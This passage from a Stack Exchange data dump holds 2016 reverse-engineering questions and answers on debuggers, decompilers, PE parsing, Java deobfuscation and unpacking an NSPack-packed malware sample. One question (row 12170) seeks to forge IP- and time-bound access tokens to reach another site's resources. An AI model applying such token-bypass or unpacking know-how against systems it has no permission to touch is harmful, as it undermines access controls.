nops for padding, and runs of nops will help me figure out where a good entry point for a disassembler would be.&lt;/del&gt;&#xA;Wait, there's &lt;a href=&quot;https://en.wikipedia.org/wiki/NOP&quot;&gt;this list on wikipedia&lt;/a&gt;. Thank you, wikipedia.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;my use case&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have a snippet of a binary, which I'm pretty sure is executable object code (sans headers / section information. I think it's the &lt;code&gt;.text&lt;/code&gt; section (or whatever you'd call that) in its original format).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not &lt;strong&gt;sure&lt;/strong&gt; that it's even from a binary, but when converted to a grayscale bitmap it has some clear patterns (stripes at regular intervals), and I've noticed that the bytes &lt;code&gt;FF FF&lt;/code&gt; appear often enough, and beside other bytes in the form &lt;code&gt;Fx&lt;/code&gt;, that I get the feeling I'm looking at high memory addresses. The shannon entropy is low enough I'm pretty sure it's not compressed or encrypted (around 7.76), but all 256 possible byte values are represented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't actually give the hexdump itself for personal reasons.&lt;/p&gt;&#xA;" OwnerUserId="12748" LastEditorUserId="12748" LastEditDate="2016-03-03T20:32:25.373" LastActivityDate="2017-01-09T19:49:55.083" Title="Byte frequencies in different architectures' binaries?" Tags="|binary-analysis|binary|binary-format|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="12147" PostTypeId="1" AcceptedAnswerId="12149" CreationDate="2016-03-04T14:22:41.183" Score="3" ViewCount="4703" Body="&lt;p&gt;I have to catch first-chance exceptions occurring in user-mode application during &lt;strong&gt;kernel-mode&lt;/strong&gt; debugging session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written simple example application called &lt;em&gt;Exceptions.exe&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)&#xA;{&#xA;    MessageBox(NULL, &quot;Press OK to generate exception.&quot;, &quot;Title&quot;, MB_OK);&#xA;    __try&#xA;    {&#xA;        __asm&#xA;        {&#xA;            xor eax, eax&#xA;            mov dword ptr[eax], eax  // I wanna break here&#xA;        }&#xA;    }&#xA;    __except(EXCEPTION_EXECUTE_HANDLER)&#xA;    {&#xA;        MessageBox(NULL, &quot;In exception handler.&quot;, &quot;Title&quot;, MB_ICONINFORMATION);&#xA;    }&#xA;    return 0;&#xA;}&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I launch it in the being debugged system. Then go to windbg, press 'ctrl+break' and enter following commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;3: kd&gt; !process 0 0 Exceptions.exe&#xA;PROCESS 853b37e0  SessionId: 1  Cid: 0f48    Peb: 7ffdf000  ParentCid: 06c4&#xA;    DirBase: be658280  ObjectTable: 8f97acf8  HandleCount:  35.&#xA;    Image: Exceptions.exe&#xA;&#xA;3: kd&gt; .process /i 853b37e0&#xA;You need to continue execution (press 'g' ) for the context&#xA;to be switched. When the debugger breaks in again, you will be in&#xA;the new process context.&#xA;3: kd&gt; g&#xA;Break instruction exception - code 80000003 (first chance)&#xA;nt!RtlpBreakWithStatusInstruction:&#xA;82ab6110 cc              int     3&#xA;2: kd&gt; sxe *&#xA;2: kd&gt; g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expect to break on the instruction &lt;strong&gt;mov dword ptr[eax], eax&lt;/strong&gt; but nothing occurred. In the being debugged system I've got message box &quot;In exception handler&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get what I want? I can't debug target process in user mode, because it's protected from attaching debugger.&lt;/p&gt;&#xA;" OwnerUserId="15287" LastActivityDate="2016-03-04T14:52:46.970" Title="WinDBG. How to catch first-chance exceptions?" Tags="|windbg|kernel-mode|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12149" PostTypeId="2" ParentId="12147" CreationDate="2016-03-04T14:52:46.970" Score="4" Body="&lt;p&gt;In WinDbg: &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff563176.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;!gflag&lt;/code&gt;&lt;/a&gt; &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff558817.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;+soe&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see &lt;a href=&quot;http://www.openrce.org/blog/view/1564/Kernel_debugger_vs_user_mode_exceptions&quot; rel=&quot;nofollow&quot;&gt;http://www.openrce.org/blog/view/1564/Kernel_debugger_vs_user_mode_exceptions&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-03-04T14:52:46.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12150" PostTypeId="1" CreationDate="2016-03-04T16:13:59.677" Score="0" ViewCount="1022" Body="&lt;p&gt;Im reverse engineering a Games Entity System from scratch.&#xA;I found a function that initializes some sort of descriptor, it looks up a given property name in a huge array and initializes the structure with some default values using the found index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where my trouble starts &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every function that call this function consists of huge ammounts of assembler code (0xE00 bytes) with 100+ case jumptables yet when i apply Hexrays decompiler i get something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char __usercall sub_B2C0E0@&amp;lt;al&amp;gt;(int a1@&amp;lt;edx&amp;gt;, int a2@&amp;lt;ecx&amp;gt;, int a3, _DWORD *a4)&#xA;{&#xA;  int v4; // eax@1&#xA;  int v5; // ecx@2&#xA;  int v6; // eax@2&#xA;  int v7; // esi@3&#xA;  int v8; // edx@3&#xA;  int v10; // [sp+18h] [bp-BCh]@1&#xA;  int v11; // [sp+1Ch] [bp-B8h]@1&#xA;  int v12; // [sp+28h] [bp-ACh]@1&#xA;  _DWORD *v13; // [sp+30h] [bp-A4h]@1&#xA;  int v14; // [sp+3Ch] [bp-98h]@1&#xA;&#xA;  v10 = a3;&#xA;  v14 = 0;&#xA;  v4 = *a4 - 1;&#xA;  v11 = a1;&#xA;  v13 = a4;&#xA;  v12 = a2;&#xA;  if ( v4 &amp;gt; 0 )&#xA;  {&#xA;    v5 = a2 - 8;&#xA;    v6 = v4 + 1;&#xA;    do&#xA;    {&#xA;      v7 = *(v5 + 8);&#xA;      v8 = *(v5 + 12);&#xA;      v5 += 8;&#xA;      --v6;&#xA;    }&#xA;    while ( v6 );&#xA;  }&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which, while the function may execute like that in a small part, is not nearly enough to actually be the code i wanted decompiled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question now is if anyone knows what could cause this behavior in the ida decompiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i do my part to help it understand the function ? &#xA;Is it a known bug ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway i will try and analyze the ASM code without the the decompilers help but its a real pain :D&lt;/p&gt;&#xA;" OwnerUserId="15292" LastActivityDate="2016-08-21T05:32:08.043" Title="Ida Pro Decompiler Plugin producing way too few lines of code?" Tags="|ida|decompilation|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12154" PostTypeId="1" AcceptedAnswerId="12155" CreationDate="2016-03-05T19:56:58.017" Score="2" ViewCount="1677" Body="&lt;p&gt;I am trying to get the contents of the .text section of a file (notepad.exe) using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define SECHDROFFSET(a) ((LPVOID) ( (LPBYTE) a           + \&#xA;                    ((PIMAGE_DOS_HEADER)a)-&amp;gt;e_lfanew + \&#xA;                    sizeof(IMAGE_NT_HEADERS)))&#xA;&#xA;PIMAGE_DOS_HEADER     pDosH;&#xA;PIMAGE_NT_HEADERS     pNtH;&#xA;PIMAGE_SECTION_HEADER pSecH;&#xA;&#xA;HANDLE hFile;&#xA;&#xA;DWORD  dwFileSize, dwSectionSize, dwStubSize,&#xA;       dwVSize, dwOldProt, dwSpot, dwGap, bytes;&#xA;&#xA;LPBYTE FileBuffer, SectionBuffer;&#xA;CHAR FileName[MAX_PATH];&#xA;&#xA;printf(&quot;Input file path: &quot;);&#xA;scanf(&quot;%s&quot;, &amp;amp;FileName);&#xA;&#xA;// open it and get the size&#xA;hFile = CreateFileA(FileName, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);&#xA;dwFileSize = GetFileSize(hFile, 0);&#xA;&#xA;// load it into memory&#xA;FileBuffer = (LPBYTE) malloc(dwFileSize);&#xA;ReadFile(hFile, FileBuffer, dwFileSize, &amp;amp;bytes, 0);&#xA;&#xA;pDosH = (PIMAGE_DOS_HEADER) FileBuffer;&#xA;&#xA;// basic checks&#xA;if(pDosH-&amp;gt;e_magic != IMAGE_DOS_SIGNATURE)&#xA;    return -1;&#xA;&#xA;pNtH = (PIMAGE_NT_HEADERS) (FileBuffer + pDosH-&amp;gt;e_lfanew);&#xA;&#xA;if(pNtH-&amp;gt;Signature != IMAGE_NT_SIGNATURE)&#xA;    return -2;&#xA;&#xA;pSecH = (PIMAGE_SECTION_HEADER) SECHDROFFSET(FileBuffer);&#xA;&#xA;while(memcmp(pSecH-&amp;gt;Name, &quot;.text&quot;, 5)) &#xA;    pSecH++;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that the section names are not valid; when debugging I never see a string of type &lt;code&gt;.&amp;lt;section_name&amp;gt;&lt;/code&gt; to take the value of &lt;code&gt;pSecH-&amp;gt;Name&lt;/code&gt;. They are always unprintable characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I reading from the correct offset?&lt;/p&gt;&#xA;" OwnerUserId="9996" LastEditorUserId="9996" LastEditDate="2016-03-05T20:26:28.490" LastActivityDate="2016-03-06T01:15:13.233" Title="Retrieving the contents of PE file sections" Tags="|c|pe|assembly|section|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12155" PostTypeId="2" ParentId="12154" CreationDate="2016-03-06T01:15:13.233" Score="7" Body="&lt;p&gt;As per the comments above, the &lt;code&gt;SECHDROFFSET()&lt;/code&gt; macro formula is not reliable. You should instead use the macro &lt;code&gt;IMAGE_FIRST_SECTION()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-03-06T01:15:13.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12156" PostTypeId="2" ParentId="12138" CreationDate="2016-03-06T02:19:49.513" Score="1" Body="&lt;p&gt;Simple solution d123 use IDA PRO with Hex-Rays Decompiler, it produces very good results for simple assembly codes like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assembled your code line by line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DkmmO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DkmmO.png&quot; alt=&quot;assembly code image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then Pressed &lt;code&gt;F5 key&lt;/code&gt; and bam got this code below!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_DWORD *a1@&amp;lt;ebx&amp;gt;;&#xA;_DWORD *a2@&amp;lt;esi&amp;gt;;&#xA;  *a2 = 1;&#xA;  for ( *a1 = 0; *a1 &amp;lt; 8; ++*a1 )&#xA;    *a2 *= *a2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it can compile too if you rename &lt;code&gt;_DWORD&lt;/code&gt; to &lt;code&gt;unsigned int&lt;/code&gt; &#xA;and &#xA;remove &lt;code&gt;@&amp;lt;ebx&amp;gt;&lt;/code&gt; and &lt;code&gt;@&amp;lt;esi&amp;gt;&lt;/code&gt; these are just to show what a1 and a2 means&lt;/p&gt;&#xA;" OwnerUserId="3510" LastActivityDate="2016-03-06T02:19:49.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12157" PostTypeId="1" CreationDate="2016-03-06T09:26:53.487" Score="-1" ViewCount="125" Body="&lt;p&gt;When I'm trying to compute the difference between two functions loaded into memory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int _start(void)&#xA;{&#xA;    // code&#xA;}&#xA;&#xA;int _end(void)&#xA;{&#xA;    // code&#xA;}&#xA;&#xA;DWORD funcSize = (DWORD) _end - (DWORD) _start;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;funcSize&lt;/code&gt; is computed incorrectly. For example, if the offset of &lt;code&gt;_start&lt;/code&gt; is &lt;strong&gt;0x00291450&lt;/strong&gt; and the offset of &lt;code&gt;_end&lt;/code&gt; is &lt;strong&gt;0x002915a0&lt;/strong&gt; the difference between &lt;code&gt;_end&lt;/code&gt; and &lt;code&gt;_start&lt;/code&gt; is &lt;strong&gt;0xffffff56&lt;/strong&gt;. Why?&lt;/p&gt;&#xA;" OwnerUserId="9996" LastEditorUserId="9996" LastEditDate="2016-03-06T11:25:32.130" LastActivityDate="2016-03-06T14:39:49.190" Title="Computing function offset differences" Tags="|c|functions|offset|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12158" PostTypeId="2" ParentId="12157" CreationDate="2016-03-06T10:59:42.710" Score="1" Body="&lt;p&gt;Because end is greater than start and you see the actual representation of negative number. &lt;code&gt;(DWORD) _end - (DWORD) _start&lt;/code&gt; should give you a more reasonable number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for completeness sake: the computations with numbers you provided (may be checked in windows calculator or with python)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x002915a0 - 0x00291450 = 0x150&#xA;0x00291450 - 0x002915a0 = -0x150 (0xfffffeb0) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The difference between numbers which ends with 0 can not end with non-zero like in number as you mentioned &lt;code&gt;(0xffffff56)&lt;/code&gt;, so there is something wrong with your calculation.&#xA;UPD:&#xA;Just in case if you are using C language, you probably should use &amp;amp;_start and &amp;amp;_end instead of _start and _end.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-03-06T14:39:49.190" LastActivityDate="2016-03-06T14:39:49.190" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12159" PostTypeId="1" CreationDate="2016-03-06T11:02:00.877" Score="2" ViewCount="774" Body="&lt;p&gt;recently i am analyzing a malware which is packed with NSPack.&#xA;when i am trying to unpack it using this &lt;a href=&quot;https://evilcodecave.wordpress.com/tag/backdoorwin32rbot/&quot; rel=&quot;nofollow&quot;&gt;blog link&lt;/a&gt;,i landed over two instruction &lt;code&gt;PUSHFD,PUSHAD&lt;/code&gt; in ollydbg.&#xA;so i put a breakpoint on the jmp instruction which will do unpack&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004DF425                       9D              POPFD&#xA;004DF426                      -E9 A5D4FFFF     JMP 5df0b1b0.004DC8D0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after stepover, i have landed over below instruction which is not start of a pe file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004DC8D0                         60            DB 60                               ;  CHAR '`'&#xA;004DC8D1                         BE            DB BE&#xA;004DC8D2                         00            DB 00&#xA;004DC8D3                         20            DB 20                               ;  CHAR ' '&#xA;004DC8D4                         4C            DB 4C                               ;  CHAR 'L'&#xA;004DC8D5                         00            DB 00&#xA;004DC8D6                         8D            DB 8D&#xA;004DC8D7                         BE            DB BE&#xA;004DC8D8                         00            DB 00&#xA;004DC8D9                         F0            DB F0&#xA;004DC8DA                         F3            DB F3&#xA;004DC8DB                         FF            DB FF&#xA;004DC8DC                         57            DB 57                               ;  CHAR 'W'&#xA;004DC8DD                         83            DB 83&#xA;004DC8DE                         CD            DB CD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the above instruction is very strange&#xA;i should expect instruction like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH EBP&#xA;PUSH EBP,ESP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so how can i unpack the malware and where i am wrong during unpacking.Help will be appreciated&#xA;Hash of malware:&lt;code&gt;59c661ba0c7c485f4480f7b142a9c084&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="15305" LastEditorUserId="15305" LastEditDate="2016-03-06T18:36:37.790" LastActivityDate="2016-03-08T14:22:59.390" Title="Unpacking NSPack v 2.9 based malware to get OEP" Tags="|obfuscation|unpacking|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12160" PostTypeId="1" CreationDate="2016-03-06T11:31:25.767" Score="2" ViewCount="1727" Body="&lt;p&gt;So I've built an obfuscator for java source code, would anyone know if there is any good deobfuscators which i could test how well my obfuscator is?&#xA;I know there are many deobfuscators out there, however a lot of them just decompile java byte code back to source code, but don't actual target a lot obfuscation techniques such as opaque predicates, control flow obfuscation and other obfuscation techniques.&#xA;So im wondering if anyone could recommend any deobfuscators which may target techniques such as the ones I have mentioned above?&lt;/p&gt;&#xA;" OwnerUserId="15195" LastActivityDate="2016-03-06T20:45:25.680" Title="Any good deobfuscators for java?" Tags="|obfuscation|java|deobfuscation|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12162" PostTypeId="2" ParentId="12159" CreationDate="2016-03-06T19:48:06.893" Score="2" Body="&lt;p&gt;The blog post to which you linked has incorrect information. &lt;code&gt;0x004DC8D0&lt;/code&gt; is not the OEP. Rather, &lt;code&gt;0x0041A4E3&lt;/code&gt; is the OEP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reaching &lt;code&gt;0x004DC8D0&lt;/code&gt;, right-click on the machine code in the disassembly pane and select &lt;code&gt;Analysis → Remove analysis from module&lt;/code&gt;. Then scroll down a bit to &lt;code&gt;0x004DCA84&lt;/code&gt;; you'll see there's a &lt;code&gt;JMP&lt;/code&gt; from that address to &lt;code&gt;0x0041A4E3&lt;/code&gt;, which is the correct OEP:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sqDnK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sqDnK.png&quot; alt=&quot;JMP to OEP&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-03-06T19:48:06.893" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12163" PostTypeId="2" ParentId="12160" CreationDate="2016-03-06T20:45:25.680" Score="4" Body="&lt;p&gt;Proguard's &quot;optimisation&quot; stage results in deobfuscating junk as I wrote up here - &lt;a href=&quot;http://www.surrendercontrol.com/2016/03/using-proguard-to-deobfuscate-code.html&quot; rel=&quot;nofollow&quot;&gt;http://www.surrendercontrol.com/2016/03/using-proguard-to-deobfuscate-code.html&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Caleb Fention's Simplify engine has a bunch of very nice ideas and implements them for Dalvik code, if not straight for JVM -  &lt;a href=&quot;https://github.com/CalebFenton/simplify&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CalebFenton/simplify&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-03-06T20:45:25.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12164" PostTypeId="1" AcceptedAnswerId="12174" CreationDate="2016-03-07T00:11:35.093" Score="9" ViewCount="19675" Body="&lt;p&gt;Has anybody gotten Immunity Debugger to work on windows 10 yet? I downloaded it on Windows 10, launch it as administrator, and the GUI opens for about half a second and then it exits, no errors or messages. I have python installed, I reinstalled immunity multiple times, and I tried running it in Windows 7 compatibility mode. Nothing seems to work. My theory is that some dll is missing or changed. Any ideas or is it just my computer? Also, Ollydbg does work on 10, but I find Immunity debugger more useful.&lt;/p&gt;&#xA;" OwnerUserId="14595" LastActivityDate="2017-01-27T08:37:23.290" Title="Immunity Debugger on Windows 10?" Tags="|debuggers|immunity-debugger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12165" PostTypeId="1" CreationDate="2016-03-07T05:54:36.390" Score="2" ViewCount="8295" Body="&lt;p&gt;I am a newbie to reverse engineering software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am familiar x86 asm language, Linux internals, and c language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After going through lots of tutorials, I didn't absorb much knowledge.&lt;br&gt;&#xA;So, I have started writing my own programs then reversing them again from their binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this approach good?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if I want to get more knowledge, a better grip on assembly and c, should I use ollydbg or IDA pro for starting?&lt;br&gt;&#xA;Please recommend some links or books that would be good. :- )&lt;/p&gt;&#xA;" OwnerUserId="15058" LastEditorUserId="153" LastEditDate="2020-05-05T04:12:02.130" LastActivityDate="2020-05-05T04:12:02.130" Title="Basic help for reverse engineering for a newbie" Tags="|assembly|c|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12168" PostTypeId="2" ParentId="12165" CreationDate="2016-03-07T08:29:15.103" Score="5" Body="&lt;p&gt;When I started with reversing about 3 years ago I used the following books:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0764574817&quot;&gt;Reversing:Secrets of Reverse Engineering&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1593272901&quot;&gt;Practical Malware Analysis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both of these books have some really good newbie related content like recognizing C/C++ code constructs in assembly and introduction materials to various tools (both Ollydbg and Ida Pro). If you are more interested in Ida pro, I would suggest reading &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1593272898&quot;&gt;The Ida Pro Book&lt;/a&gt;. Also the book &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1118787315&quot;&gt;Practical Reverse Engineering&lt;/a&gt; has some really nice reviews but I didn't have a chance reading it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For getting more familiar with Ollydbg I did most of the tutorials from the &lt;a href=&quot;http://octopuslabs.io/legend/blog/sample-page.html&quot;&gt;Legend Of Random page&lt;/a&gt;. I liked those tutorials because they don't just focus on reversing C/C++ binaries but also give you a brief look at tools and techniques with reversing Delphi and Visual Basic applications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you get a little bit more familiar with the following, I suggest you to try some crackmes from &lt;a href=&quot;http://crackmes.de/&quot;&gt;Crackmes.de&lt;/a&gt;. There are some great newbie related crackmes there like the &lt;a href=&quot;http://crackmes.de/users/arturdents&quot;&gt;Artur Dents series&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2016-03-07T08:29:15.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12169" PostTypeId="2" ParentId="12165" CreationDate="2016-03-07T18:05:15.780" Score="3" Body="&lt;p&gt;Download and read &lt;a href=&quot;http://beginners.re/RE4B-EN.pdf&quot; rel=&quot;nofollow&quot;&gt;Reverse Engineering for Beginners&lt;/a&gt;. It is excellent and free to download. It contains lots of theory and examples you can easily understand. Plus, it refers to all major architectures, x86, x86-64bit, ARM and MIPS. And one more thing. Yes, your approach is good, you just have to gradually start reversing more difficult programs, like self-made keygens and stuff.&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2016-03-07T18:05:15.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12170" PostTypeId="1" CreationDate="2016-03-07T18:39:32.920" Score="1" ViewCount="82" Body="&lt;p&gt;There is a website that gives you a token and the unixtime to access a resource on another domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use those 2 values to access it like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;code&gt;example.com/test.txt?st=[HASH]&amp;amp;e=[UNIXTIME]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I build a small script that generates those values and displays them in the format &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[UNIXTIME] : [HASH]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://46.101.150.244/m/serve.php&quot; rel=&quot;nofollow&quot;&gt;http://46.101.150.244/m/serve.php&lt;/a&gt; (You can refresh to see new combinations.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Observations:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When I request a token and get &quot;st&quot; and &quot;e&quot; by using my remote server, I can't access the resource. -&gt; it is bound to a specific IP, no other parameters.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also when generating 2 tokens at the same unix time from different ips, they are different -&gt; confirmation of 1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When generating a token multiple times within a second from the same IP, the token is always the same until the unix second passes. -&gt; Pretty sure the only dynamic factors are the IP and the time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When looking at the last character of the hash, it is always either A, Q, g or w. Their hexvalues are (same order) 41, 51, 67, 77. A,Q and g,w are exactly 0x10 apart. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I assume it is base64, but it has - and _ instead of + and /. Do you think thats possible? It also has 22 characters.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I tried many different things, trying to decode base64 (often padding error), trying substrings to maybe find something useful, the IP in binary representation for example, but since the whole string completely changes every time the unix time changes, I really dont know if there is anything I can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its totally possible that it is salted and I have zero chances of finding a solution, however the fact that the last letter is always one of four possibilities gave me hope. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a lot of fun approaching this challenge, if someone could give a hint how to approach this situation, what I should try out etc, that would be great!&lt;/p&gt;&#xA;" OwnerUserId="15319" LastActivityDate="2016-03-07T18:39:32.920" Title="Reverse engineering a hash generated from IP and unixtime - How to approach?" Tags="|websites|hash-functions|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12171" PostTypeId="2" ParentId="12165" CreationDate="2016-03-07T21:57:40.303" Score="1" Body="&lt;p&gt;If you're looking for more challenges like @ubnix suggested, try looking on the &lt;a href=&quot;https://tuts4you.com/&quot; rel=&quot;nofollow&quot;&gt;Tuts 4 You&lt;/a&gt; website. In the downloads section there are a lot of reverse-engineering resources, including crackmes, tutorials, tools, and references. One of the resources I used in learning was Lena's &lt;a href=&quot;https://tuts4you.com/download.php?view.1089&quot; rel=&quot;nofollow&quot;&gt;Reverse Engineering for Newbies&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2016-03-07T21:57:40.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12172" PostTypeId="1" AcceptedAnswerId="12175" CreationDate="2016-03-08T10:08:19.867" Score="-1" ViewCount="1291" Body="&lt;p&gt;I want to extract opcodes 'Assembly instructions' from malware binaries . and because I have large number of samples I don't want to do it invidiously .. instead I want to automate the process of doing that .. any suggestion ? &#xA;I have done lots of research and I can see that I can use the IDA pro 'the GUI' for this but I am not sure if I can automate especially using the free version of IDA.&#xA;Is there a python based tool which can do that and I don't mind to write a python script then to automate it. &#xA;It may be important also to mention that I am working on linux not windows. &lt;/p&gt;&#xA;" OwnerUserId="15185" LastActivityDate="2016-03-08T14:10:39.337" Title="Extracting Opcodes of a binary" Tags="|malware|disassemblers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
